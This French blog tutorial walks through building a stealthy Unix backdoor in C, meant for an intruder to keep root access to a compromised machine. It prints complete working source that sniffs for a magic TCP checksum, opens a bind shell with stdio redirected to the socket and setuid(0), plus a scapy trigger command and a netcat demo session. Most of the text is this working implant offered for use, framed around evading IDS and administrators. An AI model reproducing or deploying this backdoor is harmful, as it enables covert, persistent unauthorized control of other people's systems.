[C] BackDoor internet

Publié le par Satellite

Après pas mal d'inactivité (les cours, les filles, les soirées ... ), je vous propose un nouveau tutoriel sur la création de Backdoor ! Après pas mal de recherches sur internet, j'espere pouvoir bien centraliser ici les informations nécessaires à la compréhension de leur réalisation et de leur fonctionnement. Alors commençons :

Une backdoor, qu'est-ce que c'est ? C'est un petit logiciel (qui a dit malveillant ?) permettant à un "Hacker" de pouvoir revenir sur une machine infiltrée. Un petit rappel du déroulement canonique d'une attaque :

1) Observations et recolte d'informations (scan de ports / écoute de trames / mise en place d'un man in the middle)
2) Accès à la machine
3) Gain d'accès pour pouvoir en prendre le controle (devenir root)

Une fois ces 3 opérations effectuée, le pirate peut choisir de créer un accès permanent à la machine en super root, afin de ne pas avoir à redevoir l'infiltrer. Pour cela, il execute sur la machine, en tant que super root, un programme qu'il cachera et qui lui permettra de pouvoir récuperer son accès de super administrateur lors de sa prochaine attaque. Ainsi, une backdoor se doit d'être :
  • Discrète (pour ne pas être détéctée par les IDS ou par l'administrateur réseau en personne)
  • Légère (pour ne pas consommer trop de ressources systèmes et donc, ne pas être détéctée)
  • Eventuellement avec un accès internet (permetant à un utilisateur distant de se connecter)
La backdoor que je vous propose de réaliser aura les fonctionnalités suivantes :
  • Tout d'abord le pirate enverra un paquet TCP/IP ayant pour CHECKSUM 12345 [Fonction sniff]
  • Une fois le paquet reçu, la backdoor ouvrira un serveur sur un port donné
  • Le pirate se connecte sur le port
  • La backdoor lui transmet un shell de commande root ( user id = 0)
Nous allons donc utiliser la librairie libpcap pour écouter le réseau. Une légère conaissance du modèle en couche et des entêtes protocolaires est requise. Si vous avez suivi les tutoriels en python sur scapy, il ne devrait pas y avoir de problèmes à ce niveau là. C'est parti !

Tout d'abord, les includes !

#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>

/*Headers Fork*/
#include <sys/types.h>
#include <sys/wait.h>

/*Protocoles réseau*/
#define ETH_IPv4 0x0800
#define ETH_IPv6 0x86DD
#define ETH_ARP 0x0806
#define ETH_RARP 0x8035


/*Constantes*/
#define ETH_MAC_ADDR 6 //Taille de l'adresse mac : 6 bits
#define ETHERNET_SIZE 14 //Taille de l'entête ethernet : 14 bits



Ensuite les typdef :


typedef int SOCKET;
typedef struct sockaddr_in SOCKADDR_IN;
typedef struct sockaddr SOCKADDR;



Ensuite quelques structures :


/*Structures */
struct eth{
    /*Ethernet*/
    u_char mac_src[ETH_MAC_ADDR];
    u_char mac_dst[ETH_MAC_ADDR];
    u_short type_proto;
};
struct tcp_header{
    /*TCP*/
      u_short tcp_port_src; /* port source */
      u_short tcp_port_dst; /* port de destination */
      u_long tcp_seqnum; /* numero de sequence */
      u_long tcp_aqunum; /* numero d'aquittement */
      u_char tcp_res; /* decalage, reserve, hlen, ecn ? */
      u_char tcp_flags; /* Flags : URG, ACK, PSH, RST, SYN, FIN */

#define TCP_FIN 0x01
#define TCP_SYN 0x02
#define TCP_RST 0x04
#define TCP_PSH 0x08
#define TCP_ACK 0x10
#define TCP_URG 0x20
#define TCP_ECE 0x40
#define TCP_CWR 0x80

      #define TCP_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
      u_short tcp_win; /* taille fenetre demandee */
      u_short tcp_crc; /* Checksum */
      u_short tcp_purg; /* pointeur donnees urgentes */
};




Enfin, quelques constantes :


/*Erreurs*/

#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define closesocket(param) close(param)
/*Config*/

#define DEVICE "lo"
#define CHKSUM 12345
#define P 14



Ici la backdoor est configurée pour les paquets en LOCALHOST (DEVICE = "lo"). Si vous voulez utiliser l'interface wifi par exemple, il suffit de remplacer "lo" par "wlan0" par exemple.
Notre code comportera trois fonctions :

void recept_paquet (u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet);
int open_server();
int on_client_connected(SOCKET* csock);


La fonction recept_paquet sera appelée à chaque nouveau paquet sniffé. Elle en analysera le contenu et apellera la fonction on_client_connected à chaque fois que le checksum correspondra à la valeur 12345.
La fonction open_server() se chargera d'ouvrir un serveur une fois le paquet reçu. Elle apellera la fonction on_client_connected à chaque fois qu'un client se connectera sur le serveur. Il est à noter que le sniffing de réseau sera interrompu pendant cette periode.
La fonction on_client_connected se chargera d'ouvrir un shell pour le client. Elle sera apellée via un thread.

Tout d'abord étudions le main. L'objectif est simple : nous allons utiliser la fonction pcap_loop qui apelle une routine à chaque paquet reçu. Cette routine sera notre fonction recept_paquet. Allons y !


int main(){
        printf("-*- \033[31miBackdoor v1.0\033[00m-*-\n"
               "By \033[32miZy TeH PariaH\033[00m\n"
//On frime un peu parce que bon, elle est quand même grave stylée cette Backdoor
               "\033[34m[Dream.of.a.nolife.overblog.net]\033[00m\n"
               "Envoyez un paquet TCP avec chksum =\033[35m %d \033[00mpour activer la Backdoor sur le port \033[35m %d \033[00m\n",CHKSUM,P);
        pcap_t *desc = NULL; /*Création d'un pointeur*/
        char errbuf[PCAP_ERRBUF_SIZE];/*Création du buffer d'erreurs*/
        desc = pcap_open_live(DEVICE,1514,1,1000,errbuf); /*On crée le descripteur*/
        if (desc == NULL){ /*Si le descripteur n'as pas été créé*/
            printf("Erreur de descripteur [Executez en Root, ça marchera mieux ;-)]\n");
            exit(0);
        }
        pcap_loop(desc,-1,recept_paquet,0);
    return 0;
}



Etudions donc la fonction recept_paquet. Elle recevra en paramètre le paquet reçu.


void recept_paquet (u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet){
    struct eth* ether_hdr; /*On crée le header ethernet*/
    ether_hdr = (struct eth*)packet;/*On l'extrait du paquet*/
    if(ntohs(ether_hdr->type_proto) == ETH_IPv4){/*Si le protocole de la couche supperieure est IP*/
        /*Protocole IP*/
        struct ip* ip_hdr;/*On crée l'entête IP*/
        ip_hdr = (struct ip*)(packet + ETHERNET_SIZE);/*On extrait l'entête IP en prennant soin de se positionner correctement*/
        if(ip_hdr->ip_p  == 6){ /*Si le protocole de la couche supperieure est TCP (TCP = 6)*/
            /*Protocole TCP*/
            struct tcp_header* tcp_hdr;/*On crée l'entête TCP*/
            tcp_hdr = (struct tcp_header*)(packet + ETHERNET_SIZE + 4*(ip_hdr->ip_hl));/*On extrait l'entête TCP*/
            if(ntohs(tcp_hdr->tcp_crc) == CHKSUM){ /*Si la somme de controle est correcte on ouvre le serveur (/!\ Ordre des bits du reseau, fonction ntohs (Network To Host) necessaire)*/
                open_server();

            }
        }
    }
}



Etudions donc la fonction open_server() : elle est chargée d'établir une socket serveur et de récuperer la socket client. Nous allons devoir utiliser un fork. En effet, une fois le client connecté, nous allons lui ouvrir un shell par l'intermediaire de la fonction execlp. Le probleme, c'est que cette fonction remplace totalement l'image mémoire du processus par celle de la fonction exécutée. Ainsi, sans le fork, une fois que l'utilisateur aura fermé son shell, la backdoor se fermera. Le fork constitue un dédoublement du processus : le processus fils ouvrira le shell pendant que le processus père attendra. Une fois que le pirate aura fermé le shell, seul le processus fils se fermera et le père continuera l'execution de la backdoor.


int open_server(){
    SOCKET sock,csock; /*On crée la socket Serveur (sock) et la socket Client (csock)*/
    SOCKADDR_IN sin; /*On crée la structure de configuration du serveur*/
    SOCKADDR_IN csin;/*On crée la structure de configuration du client*/
    sock = socket(AF_INET,SOCK_STREAM,0);/*On crée la premiere socket*/
    csock = socket(AF_INET,SOCK_STREAM,0);/*On crée la seconde socket*/
    int opt = 1;
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); // Pour réutiliser la même adresse IP
    if(sock == INVALID_SOCKET){ /*Si il y a des erreurs lors de la création de la socket*/
        close(sock);
        return 0;
    }
    sin.sin_family = AF_INET;
    sin.sin_port = htons(P);
    sin.sin_addr.s_addr = htonl(INADDR_ANY);

    if ((bind(sock,(SOCKADDR*)&sin,sizeof(SOCKADDR))) == SOCKET_ERROR){ // On connecte la socket
        close(sock);
        return 0;
    }
    unsigned int taille = sizeof(SOCKADDR);

    if((listen(sock,1)) == INVALID_SOCKET){ //On la met en écoute (attente d'un client)
        close(csock);
        close(sock);
        return 0;
        }

    csock = accept(sock,(SOCKADDR*)&csin,&taille); // On récupere le premier client qui se connecte
    if(csock == INVALID_SOCKET){
        close(sock);
        close(csock);
        return 0;
    }
    pid_t client; //On crée un fork (dédoublement du processus)
    int statut;
    client = fork();
    if(client == 0){ //Si c'est le processus fils : on active la routine
        on_client_connected(&csock);}
    else{
        if(waitpid(client,&statut,0) != -1){ // Si c'est le processus père, on attend la fin du processus fils pour fermer la socket
            kill(client,SIGKILL);
            shutdown(csock,2);
            shutdown(sock,2);
            close(csock);
            close(sock);
            }


        }
    return 1;

}



Attaquons nous à la derniere fonction ! Elle aura pour but de faire comuniquer directement le pirate avec le shell du systeme (redirection entrée/sortie). Pour cela un bref rappel s'impose !
Tout d'abord il faut savoir que les objets qu'on manipule sont en fait des descripteurs. En clair, une socket, c'est un nombre. Sauf qu'à ce nombre correspond une socket. Il en est de même pour les flux d'entrée sortie.

Le flux d'entrée (stdin) est par défaut dirigé vers le clavier. C'est a dire que les informations qui arriveront à la machine proviendront du clavier. Par exemple, scanf attendra que l'utilisateur tape une valeur au clavier.
Le flux de sortie (stdout) est par défaut dirigé vers l'écran. C'est a dire que les informations qui sortiront de la machine s'afficheront vers l'écran. Par exemple, printf affichera à l'écran la valeur que vous lui avez affecté.
Le troisième flux (flux d'erreurs - stderr) gère la sortie des erreurs. Il est dirigé vers l'écran.

Notre objectif est donc de rediriger ces flux vers la socket. En effet, notre objectif n'est pas que les informations proviennent du clavier, mais directement de la socket. Il en est de même pour les informations sortantes ! On souhaite que le shell envoie les réponses à la socket. Nous allons donc rediriger les flux !

Bonne nouvelle, c'est facile ! Les flux ont des descripteurs qui permettent au programmeur de les manipuler ! Ce sont les descripteurs 1, 2 et 3.
Voici donc la fonction !


int on_client_connected(SOCKET* csock){
    close(0); //On ferme les trois descripteurs
    close(1);
    close(2);
    dup2(*csock,0); // On les redirige vers la socket client
    dup2(*csock,1);
    dup2(*csock,2);
    printf("\033[34m-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n");
    printf("-*-\033[31mConnecté à la machine distante !\033[34m-*-\n");
    printf("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\033[00m\n");
    printf("Démarrage du Shell ! [Entrez vos commandes, il se peut que le prompteur ne s'affiche pas]\n");
    setuid(0); /*Set user ird 0 (Super root) : pour avoir le shell en super root*/
    execlp("sh","sh",(char*) 0); // On execute le shell /*\ Attention ! Ce processus remplace totalement l'image de la backdoor*/
    return 0;
}



Allez, voici le script dans son entièreté ! Pour l'activer, utilisez scapy pour pouvoir forger un paquet TCP avec le checksum positionné à 12345 !  Quoi ? Vous savez pas comment on fait ?


a= IP(dst = "127.0.0.1")/TCP(chksum = 12345)


/!\Je décline toute responsabilité quant à l'utilisation que vous ferez du code ! /!\



#include <string.h>
#include <sys/socket.h>

#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>

/*Headers Fork*/
#include <sys/types.h>
#include <sys/wait.h>
/*Protocoles réseau*/
#define ETH_IPv4 0x0800
#define ETH_IPv6 0x86DD
#define ETH_ARP 0x0806
#define ETH_RARP 0x8035
/*Constantes*/
#define ETH_MAC_ADDR 6 //Taille de l'adresse mac : 6 bits
#define ETHERNET_SIZE 14 //Taille de l'entête ethernet : 14 bits
typedef int SOCKET;
typedef struct sockaddr_in SOCKADDR_IN;
typedef struct sockaddr SOCKADDR;
/*Structures */
struct eth{
    /*Ethernet*/
    u_char mac_src[ETH_MAC_ADDR];
    u_char mac_dst[ETH_MAC_ADDR];
    u_short type_proto;
};
struct tcp_header{
    /*TCP*/
      u_short tcp_port_src; /* port source */
      u_short tcp_port_dst; /* port de destination */
      u_long tcp_seqnum; /* numero de sequence */
      u_long tcp_aqunum; /* numero d'aquittement */
      u_char tcp_res; /* decalage, reserve, hlen, ecn ? */
      u_char tcp_flags; /* Flags : URG, ACK, PSH, RST, SYN, FIN */

#define TCP_FIN 0x01
#define TCP_SYN 0x02
#define TCP_RST 0x04
#define TCP_PSH 0x08
#define TCP_ACK 0x10
#define TCP_URG 0x20
#define TCP_ECE 0x40
#define TCP_CWR 0x80

      #define TCP_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
      u_short tcp_win; /* taille fenetre demandee */
      u_short tcp_crc; /* Checksum */
      u_short tcp_purg; /* pointeur donnees urgentes */
};

/*Erreurs*/
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define closesocket(param) close(param)
/*Config*/
#define DEVICE "lo"
#define CHKSUM 12345
#define P 14

/*Compilation*/


/***************************************
*           BackDooR v1.0 UniX         *
*      Rédigée par iZy_TeH_PariaH      *
*            SoCkEt LaUnChEr           *
* http://Dream.Of.A.Nolife.overblog.net*
/***************************************/




void recept_paquet (u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet);
int open_server();
int on_client_connected(SOCKET* csock);

int on_client_connected(SOCKET* csock){
    close(0);
    close(1);
    close(2);
    dup2(*csock,0);
    dup2(*csock,1);
    dup2(*csock,2);
    printf("\033[34m-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\n");
    printf("-*-\033[31mConnecté à la machine distante !\033[34m-*-\n");
    printf("-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*\033[00m\n");
    printf("Démarrage du Shell ! [Entrez vos commandes, il se peut que le prompteur ne s'affiche pas]\n");
    setuid(0); /*Set user ird 0 (Super root)*/
    execlp("sh","sh",(char*) 0); /*\ Attention ! Ce processus remplace totalement l'image de la backdoor*/
    return 0;
}

int open_server(){
    SOCKET sock,csock;
    SOCKADDR_IN sin;
    SOCKADDR_IN csin;
    sock = socket(AF_INET,SOCK_STREAM,0);
    csock = socket(AF_INET,SOCK_STREAM,0);
    int opt = 1;
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); // Pour réutiliser la même adresse
    if(sock == INVALID_SOCKET){
        close(sock);
        return 0;
    }
    sin.sin_family = AF_INET;
    sin.sin_port = htons(P);
    sin.sin_addr.s_addr = htonl(INADDR_ANY);

    if ((bind(sock,(SOCKADDR*)&sin,sizeof(SOCKADDR))) == SOCKET_ERROR){
        close(sock);
        return 0;
    }
    unsigned int taille = sizeof(SOCKADDR);

    if((listen(sock,1)) == INVALID_SOCKET){
        close(csock);
        close(sock);
        return 0;
        }
    csock = accept(sock,(SOCKADDR*)&csin,&taille);
    if(csock == INVALID_SOCKET){
        close(sock);
        close(csock);
        return 0;
    }
    pid_t client;
    int statut;
    client = fork();
    if(client == 0){
        on_client_connected(&csock);}
    else{
        if(waitpid(client,&statut,0) != -1){
            kill(client,SIGKILL);
            shutdown(csock,2);
            shutdown(sock,2);
            close(csock);
            close(sock);
            }

        }
    return 1;

}

void recept_paquet (u_char *args,const struct pcap_pkthdr* pkthdr,const u_char* packet){
    struct eth* ether_hdr;
    ether_hdr = (struct eth*)packet;
    if(ntohs(ether_hdr->type_proto) == ETH_IPv4){
        /*Protocole IP*/
        struct ip* ip_hdr;
        ip_hdr = (struct ip*)(packet + ETHERNET_SIZE);
        if(ip_hdr->ip_p  == 6){
            /*Protocole TCP*/
            struct tcp_header* tcp_hdr;
            tcp_hdr = (struct tcp_header*)(packet + ETHERNET_SIZE + 4*(ip_hdr->ip_hl));
            if(ntohs(tcp_hdr->tcp_crc) == CHKSUM){
                open_server();

            }
        }
    }
}

int main(){
        printf("-*- \033[31miBackdoor v1.0\033[00m-*-\n"
               "By \033[32miZy TeH PariaH\033[00m\n"
               "\033[34m[Dream.of.a.nolife.overblog.net]\033[00m\n"
               "Envoyez un paquet TCP avec chksum =\033[35m %d \033[00mpour activer la Backdoor sur le port \033[35m %d \033[00m\n",CHKSUM,P);
        pcap_t *desc = NULL;
        char errbuf[PCAP_ERRBUF_SIZE];
        desc = pcap_open_live(DEVICE,1514,1,1000,errbuf);
        if (desc == NULL){
            printf("Erreur de descripteur [Executez en Root, ça marchera mieux ;-)]\n");
            exit(0);
        }
        if(pcap_loop(desc,-1,recept_paquet,0) > 0){
    }
    return 0;
}



Et voila ! Enjoy !


-*- iBackdoor v1.0-*-
By iZy TeH PariaH
[Dream.of.a.nolife.overblog.net]
Envoyez un paquet TCP avec chksum = 12345 pour activer la Backdoor sur le port  14



iZy@iZyNumeriC:~$ netcat 127.0.0.1 14
(UNKNOWN) [127.0.0.1] 14 (?) : Connection refused
iZy@iZyNumeriC:~$ sudo python
>>> from scapy.all import *
WARNING: No route found for IPv6 destination :: (no default route?)
>>> a = IP(dst = "127.0.0.1")/TCP(chksum = 12345)
>>> send(a)
.
Sent 1 packets.
iZy@iZyNumeriC:~$ netcat 127.0.0.1 14
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
-*-Connecté à la machine distante !-*-
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
Démarrage du Shell ! [Entrez vos commandes, il se peut que le prompteur ne s'affiche pas]





Avec mes sincères salutations !

iZy TeH PariaH



Pour être informé des derniers articles, inscrivez vous :
Commenter cet article